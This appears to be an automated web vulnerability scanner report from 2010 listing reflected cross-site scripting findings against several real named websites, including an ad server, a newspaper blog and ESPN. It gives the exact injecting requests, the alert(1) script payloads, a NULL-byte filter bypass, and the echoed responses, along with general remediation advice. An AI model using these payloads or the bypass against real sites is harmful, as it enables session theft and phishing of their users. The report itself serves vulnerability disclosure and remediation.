Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
1.1. http://adserving.cpxinteractive.com/st [name of an arbitrarily supplied request parameter]next
Summary
Severity:
High
Confidence:
Certain
Host:
http://adserving.cpxinteractive.com
Path:
/st
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 55439"-alert(1)-"59a067acd16 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /st?ad_type=pop&ad_size=0x0§ion=1420014&banned_pop_types=29&pop_times=1&pop_frequency=0&pop_nofreqcap=1&55439"-alert(1)-"59a067acd16=1 HTTP/1.1 Host: adserving.cpxinteractive.com Proxy-Connection: keep-alive Referer: http://penerabread.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Fri, 10 Dec 2010 22:03:51 GMT Server: YTS/1.18.4 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Cache-Control: no-store Last-Modified: Fri, 10 Dec 2010 22:03:51 GMT Pragma: no-cache Content-Length: 4419 Age: 0 Proxy-Connection: close
/* All portions of this software are copyright (c) 2003-2006 Right Media*/var rm_ban_flash=0;var rm_url="";var rm_pop_frequency=0;var rm_pop_id=0;var rm_pop_times=0;var rm_pop_nofreqcap=0;var rm_passback=0;var rm_tag_type="";rm_pop_frequency = 0; rm_pop_times = 1; rm_pop_nofreqcap = 1; rm_pop_id = 1420014; rm_tag_type = "pop"; rm_url = "http://adserving.cpxinteractive.com/imp?55439"-alert(1)-"59a067acd16=1&Z=0x0&y=29&s=1420014&_salt=3731841659";var RM_POP_COOKIE_NAME='ym_pop_freq';var RM_INT_COOKIE_NAME='ym_int_freq';if(!window.rm_crex_data){rm_crex_data=new Array();}if(rm_passback==0){rm_pb_data=new ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 11692"><script>alert(1)</script>dadbdb386f9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dmr11692"><script>alert(1)</script>dadbdb386f9/index.php/tag/penn-state-nittany-lions/x22 HTTP/1.1 Host: blogs.desmoinesregister.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Fri, 10 Dec 2010 22:08:03 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.13 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Connection: close Content-Length: 43564
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a273a"><script>alert(1)</script>dc1cda396b4 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dmr/index.phpa273a"><script>alert(1)</script>dc1cda396b4/tag/penn-state-nittany-lions/x22 HTTP/1.1 Host: blogs.desmoinesregister.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Fri, 10 Dec 2010 22:08:17 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.13 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Connection: close Content-Length: 43564
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3a037"><script>alert(1)</script>550928203f3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dmr3a037"><script>alert(1)</script>550928203f3/index.php/tag/penn-state-nittany-lions/x26amp HTTP/1.1 Host: blogs.desmoinesregister.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Fri, 10 Dec 2010 22:07:59 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.13 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Connection: close Content-Length: 43570
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d4e29"><script>alert(1)</script>4a2b746a5bd was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dmr/index.phpd4e29"><script>alert(1)</script>4a2b746a5bd/tag/penn-state-nittany-lions/x26amp;h\\x3d332\\x26amp;w\\x3d492\\x26amp;sz\\x3d47\\x26amp;tbnid\\x3dIqKIOTc5X7LDEM:\\x26amp;tbnh\\x3d88\\x26amp;tbnw\\x3d130\\x26amp;prev\\x3d/images%3Fq%3Dpenn%2Bstate\\x26amp;zoom\\x3d1\\x26amp;q\\x3dpenn+state\\x26amp;hl\\x3den\\x26amp;usg\\x3d__aOgM-4AlYx4D5bNNEn33_hQ5jY8\\x3d\\x26amp;sa\\x3dX\\x26amp;ei\\x3dFqMCTbLuGoGs8Ab77-zmAg\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CJ8BEPUBMA8\\x22\\x3e\\x3cimg HTTP/1.1 Host: blogs.desmoinesregister.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Fri, 10 Dec 2010 22:08:17 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.13 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Connection: close Content-Length: 43932
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b8f5a"><script>alert(1)</script>6149ffd4f4d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dmrb8f5a"><script>alert(1)</script>6149ffd4f4d/wp-content/uploads/2009/09/penn-state-shield-logo.png/x26amp;imgrefurl\\x3dhttp://blogs.desmoinesregister.com/dmr/index.php/tag/penn-state-nittany-lions/\\x26amp;h\\x3d332\\x26amp;w\\x3d492\\x26amp;sz\\x3d47\\x26amp;tbnid\\x3dIqKIOTc5X7LDEM:\\x26amp;tbnh\\x3d88\\x26amp;tbnw\\x3d130\\x26amp;prev\\x3d/images%3Fq%3Dpenn%2Bstate\\x26amp;zoom\\x3d1\\x26amp;q\\x3dpenn+state\\x26amp;hl\\x3den\\x26amp;usg\\x3d__aOgM-4AlYx4D5bNNEn33_hQ5jY8\\x3d\\x26amp;sa\\x3dX\\x26amp;ei\\x3dFqMCTbLuGoGs8Ab77-zmAg\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CJ8BEPUBMA8\\x22\\x3e\\x3cimg HTTP/1.1 Host: blogs.desmoinesregister.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Fri, 10 Dec 2010 22:07:55 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.13 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Connection: close Content-Length: 44194
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2f3c7"><script>alert(1)</script>e1c22cae9fd was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dmr/wp-content2f3c7"><script>alert(1)</script>e1c22cae9fd/uploads/2009/09/penn-state-shield-logo.png/x26amp HTTP/1.1 Host: blogs.desmoinesregister.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Fri, 10 Dec 2010 22:08:11 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.13 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Connection: close Content-Length: 43604
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 85589"><script>alert(1)</script>fa7316b8265 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dmr/wp-content/uploads85589"><script>alert(1)</script>fa7316b8265/2009/09/penn-state-shield-logo.png/x26amp;imgrefurl\\x3dhttp://blogs.desmoinesregister.com/dmr/index.php/tag/penn-state-nittany-lions/\\x26amp;h\\x3d332\\x26amp;w\\x3d492\\x26amp;sz\\x3d47\\x26amp;tbnid\\x3dIqKIOTc5X7LDEM:\\x26amp;tbnh\\x3d88\\x26amp;tbnw\\x3d130\\x26amp;prev\\x3d/images%3Fq%3Dpenn%2Bstate\\x26amp;zoom\\x3d1\\x26amp;q\\x3dpenn+state\\x26amp;hl\\x3den\\x26amp;usg\\x3d__aOgM-4AlYx4D5bNNEn33_hQ5jY8\\x3d\\x26amp;sa\\x3dX\\x26amp;ei\\x3dFqMCTbLuGoGs8Ab77-zmAg\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CJ8BEPUBMA8\\x22\\x3e\\x3cimg HTTP/1.1 Host: blogs.desmoinesregister.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Fri, 10 Dec 2010 22:08:27 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.13 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Connection: close Content-Length: 44194
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d4f0c"><script>alert(1)</script>41c8dab9c90 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dmr/wp-content/uploads/2009d4f0c"><script>alert(1)</script>41c8dab9c90/09/penn-state-shield-logo.png/x26amp;imgrefurl\\x3dhttp://blogs.desmoinesregister.com/dmr/index.php/tag/penn-state-nittany-lions/\\x26amp;h\\x3d332\\x26amp;w\\x3d492\\x26amp;sz\\x3d47\\x26amp;tbnid\\x3dIqKIOTc5X7LDEM:\\x26amp;tbnh\\x3d88\\x26amp;tbnw\\x3d130\\x26amp;prev\\x3d/images%3Fq%3Dpenn%2Bstate\\x26amp;zoom\\x3d1\\x26amp;q\\x3dpenn+state\\x26amp;hl\\x3den\\x26amp;usg\\x3d__aOgM-4AlYx4D5bNNEn33_hQ5jY8\\x3d\\x26amp;sa\\x3dX\\x26amp;ei\\x3dFqMCTbLuGoGs8Ab77-zmAg\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CJ8BEPUBMA8\\x22\\x3e\\x3cimg HTTP/1.1 Host: blogs.desmoinesregister.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Fri, 10 Dec 2010 22:08:38 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.13 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Connection: close Content-Length: 44194
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fe119"><script>alert(1)</script>ef58a8907f was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dmr/wp-content/uploads/2009/09fe119"><script>alert(1)</script>ef58a8907f/penn-state-shield-logo.png/x26amp;imgrefurl\\x3dhttp://blogs.desmoinesregister.com/dmr/index.php/tag/penn-state-nittany-lions/\\x26amp;h\\x3d332\\x26amp;w\\x3d492\\x26amp;sz\\x3d47\\x26amp;tbnid\\x3dIqKIOTc5X7LDEM:\\x26amp;tbnh\\x3d88\\x26amp;tbnw\\x3d130\\x26amp;prev\\x3d/images%3Fq%3Dpenn%2Bstate\\x26amp;zoom\\x3d1\\x26amp;q\\x3dpenn+state\\x26amp;hl\\x3den\\x26amp;usg\\x3d__aOgM-4AlYx4D5bNNEn33_hQ5jY8\\x3d\\x26amp;sa\\x3dX\\x26amp;ei\\x3dFqMCTbLuGoGs8Ab77-zmAg\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CJ8BEPUBMA8\\x22\\x3e\\x3cimg HTTP/1.1 Host: blogs.desmoinesregister.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Fri, 10 Dec 2010 22:08:52 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.13 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Connection: close Content-Length: 44192
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fc6d5"><script>alert(1)</script>516b8913ec0 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dmr/wp-content/uploads/2009/09/penn-state-shield-logo.pngfc6d5"><script>alert(1)</script>516b8913ec0/x26amp;imgrefurl\\x3dhttp://blogs.desmoinesregister.com/dmr/index.php/tag/penn-state-nittany-lions/\\x26amp;h\\x3d332\\x26amp;w\\x3d492\\x26amp;sz\\x3d47\\x26amp;tbnid\\x3dIqKIOTc5X7LDEM:\\x26amp;tbnh\\x3d88\\x26amp;tbnw\\x3d130\\x26amp;prev\\x3d/images%3Fq%3Dpenn%2Bstate\\x26amp;zoom\\x3d1\\x26amp;q\\x3dpenn+state\\x26amp;hl\\x3den\\x26amp;usg\\x3d__aOgM-4AlYx4D5bNNEn33_hQ5jY8\\x3d\\x26amp;sa\\x3dX\\x26amp;ei\\x3dFqMCTbLuGoGs8Ab77-zmAg\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CJ8BEPUBMA8\\x22\\x3e\\x3cimg HTTP/1.1 Host: blogs.desmoinesregister.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Fri, 10 Dec 2010 22:09:07 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.13 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Connection: close Content-Length: 44194
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 94966"><script>alert(1)</script>2870052f5b4 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dmr/wp-content/uploads/2009/09/penn-state-shield-logo.png/x26amp94966"><script>alert(1)</script>2870052f5b4;imgrefurl\\x3dhttp://blogs.desmoinesregister.com/dmr/index.php/tag/penn-state-nittany-lions/\\x26amp;h\\x3d332\\x26amp;w\\x3d492\\x26amp;sz\\x3d47\\x26amp;tbnid\\x3dIqKIOTc5X7LDEM:\\x26amp;tbnh\\x3d88\\x26amp;tbnw\\x3d130\\x26amp;prev\\x3d/images%3Fq%3Dpenn%2Bstate\\x26amp;zoom\\x3d1\\x26amp;q\\x3dpenn+state\\x26amp;hl\\x3den\\x26amp;usg\\x3d__aOgM-4AlYx4D5bNNEn33_hQ5jY8\\x3d\\x26amp;sa\\x3dX\\x26amp;ei\\x3dFqMCTbLuGoGs8Ab77-zmAg\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CJ8BEPUBMA8\\x22\\x3e\\x3cimg HTTP/1.1 Host: blogs.desmoinesregister.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Fri, 10 Dec 2010 22:09:18 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.13 Vary: Accept-Encoding,User-Agent Cache-Control: must-revalidate Content-Type: text/html; charset=UTF-8 Connection: close Content-Length: 44194
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="en">
The value of the transaction request parameter is copied into the HTML document as plain text between tags. The payload bd293<script>alert(1)</script>86dabbe42e5 was submitted in the transaction parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /tilelog/transaction?transaction=scriptbd293<script>alert(1)</script>86dabbe42e5&key=Fmjtd%7Cluu721uyng%2Cra%3Do5-54rxg&itk=true&v=5.3.s&ipkg=controls1,traffic&ipr=false HTTP/1.1 Host: btilelog.free.mapquest.com Proxy-Connection: keep-alive Referer: http://panerabread.findlocation.com/results.aspx?search_param=n20&postalcode=10010&resultsperpage=4&pagenbr=0 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 400 Bad Request Date: Fri, 10 Dec 2010 22:03:54 GMT Server: Apache Content-Length: 79 Cache-Control: max-age=300 Expires: Fri, 10 Dec 2010 22:08:54 GMT Connection: close Content-Type: text/plain
Bad Request (unknown command) scriptbd293<script>alert(1)</script>86dabbe42e5
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %00f0974"><script>alert(1)</script>cc26236902d was submitted in the REST URL parameter 1. This input was echoed as f0974"><script>alert(1)</script>cc26236902d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /weblog%00f0974"><script>alert(1)</script>cc26236902d/2006/06/again/ HTTP/1.1 Host: dean.edwards.name Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Fri, 10 Dec 2010 22:09:50 GMT Server: Apache/2.2.6 (Win32) PHP/5.2.5 X-Powered-By: PHP/5.2.5 Vary: Accept-Encoding Content-Length: 1790 Connection: close Content-Type: text/html; charset=utf-8
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload %0090ed3<a>11765a99536 was submitted in the REST URL parameter 1. This input was echoed as 90ed3<a>11765a99536 in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /weblog%0090ed3<a>11765a99536/2006/06/again/ HTTP/1.1 Host: dean.edwards.name Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Fri, 10 Dec 2010 22:09:51 GMT Server: Apache/2.2.6 (Win32) PHP/5.2.5 X-Powered-By: PHP/5.2.5 Vary: Accept-Encoding Content-Length: 1644 Connection: close Content-Type: text/html; charset=utf-8
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 6b2bb<a>c812d8c0fb1 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /weblog/2006/06/again6b2bb<a>c812d8c0fb1/ HTTP/1.1 Host: dean.edwards.name Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Fri, 10 Dec 2010 22:09:57 GMT Server: Apache/2.2.6 (Win32) PHP/5.2.5 X-Powered-By: PHP/5.2.5 X-Pingback: http://dean.edwards.name/weblog/xmlrpc.php Expires: Fri, 10 Dec 2010 22:09:57 GMT Last-Modified: Fri, 10 Dec 2010 22:09:57 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1352 Connection: close Content-Type: text/html; charset=UTF-8
1.17. http://dean.edwards.name/weblog/2006/06/again/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://dean.edwards.name
Path:
/weblog/2006/06/again/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 50abf"><script>alert(1)</script>a0ea7af8986 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 50abf\"><script>alert(1)</script>a0ea7af8986 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /weblog/2006/06/again/?50abf"><script>alert(1)</script>a0ea7af8986=1 HTTP/1.1 Host: dean.edwards.name Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 529df"><script>alert(1)</script>eb0ead59061 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/ncfnation/post/_/id/35129/psu-to-face-florida-in-meyers-last-game529df"><script>alert(1)</script>eb0ead59061/x22 HTTP/1.1 Host: espn.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Fri, 10 Dec 2010 22:09:08 GMT Content-Type: text/html;charset=iso-8859-1 Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: ESPN16 Set-Cookie: SWID=67DC3446-7ED0-4BAD-8977-9AE67A6DD727; path=/; expires=Fri, 10-Dec-2030 22:09:08 GMT; domain=.go.com; Cache-Expires: Fri, 10 Dec 2010 22:14:08 GMT InvH: blog-ncfnation Content-Length: 63270 Cache-Control: no-cache Pragma: no-cache Set-Cookie: DE2=dXNhO3R4O2hvdXN0b247YnJvYWRiYW5kOzU7NDszOzYxODswMjkuNzYzOy0wOTUuMzYzOzg0MDs0NDsxODs2O3VzOw==; expires=Mon, 20 Dec 2010 22:09:08 GMT; Path=/; Domain=.go.com Connection: close X-UA-Compatible: IE=EmulateIE7 Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content- ...[SNIP]... <a href="/blog/ncfnation/post/_/id/35129/psu-to-face-florida-in-meyers-last-game529df"><script>alert(1)</script>eb0ead59061/sort/oldest/x22"> ...[SNIP]...
The value of REST URL parameter 8 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 57eec"><a>04b7bbf9081 was submitted in the REST URL parameter 8. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /blog/ncfnation/post/_/id/35129/psu-to-face-florida-in-meyers-last-game/x2257eec"><a>04b7bbf9081 HTTP/1.1 Host: espn.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
